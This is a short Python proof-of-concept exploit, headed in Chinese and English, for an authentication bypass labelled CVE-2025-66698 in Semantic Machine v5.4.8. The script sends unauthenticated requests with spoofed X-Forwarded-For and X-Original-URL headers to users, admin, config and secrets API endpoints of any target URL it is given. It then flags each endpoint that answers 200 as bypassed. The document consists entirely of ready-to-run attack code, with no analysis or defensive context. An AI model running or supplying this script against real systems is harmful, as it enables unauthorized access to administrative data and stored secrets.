CVE-2025-66698 Semantic Machine v5.4.8 认证绕过漏洞

# CVE-2025-66698 Authentication Bypass PoC # Target: Semantic Machine v5.4.8 # Type: Authentication Bypass via crafted HTTP request import requests import sys def exploit_cve_2025_66698(target_url): """ Exploit for CVE-2025-66698 - Semantic Machine Authentication Bypass This PoC demonstrates the authentication bypass vulnerability. """ # Target API endpoints that are affected api_endpoints = [ "/api/v1/users", "/api/v1/admin", "/api/v1/config", "/api/v1/secrets" ] # Crafted HTTP request headers to bypass authentication headers = { "User-Agent": "Mozilla/5.0 (compatible; CVE-2025-66698-PoC)", "X-Forwarded-For": "127.0.0.1", "X-Original-URL": "/api/v1/login", "Content-Type": "application/json" } print(f"[*] Testing target: {target_url}") print(f"[*] Exploiting CVE-2025-66698...") for endpoint in api_endpoints: url = target_url.rstrip('/') + endpoint try: # Send crafted request without authentication response = requests.get(url, headers=headers, timeout=10) print(f"\n[+] Endpoint: {endpoint}") print(f" Status Code: {response.status_code}") if response.status_code == 200: print(f" [!] VULNERABLE - Authentication bypassed!") print(f" Response length: {len(response.text)} bytes") elif response.status_code == 401: print(f" [-] Protected - Authentication required") else: print(f" [*] Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error accessing {endpoint}: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-66698_poc.py <target_url>") print("Example: python cve-2025-66698_poc.py http://target.com") sys.exit(1) target = sys.argv[1] exploit_cve_2025_66698(target)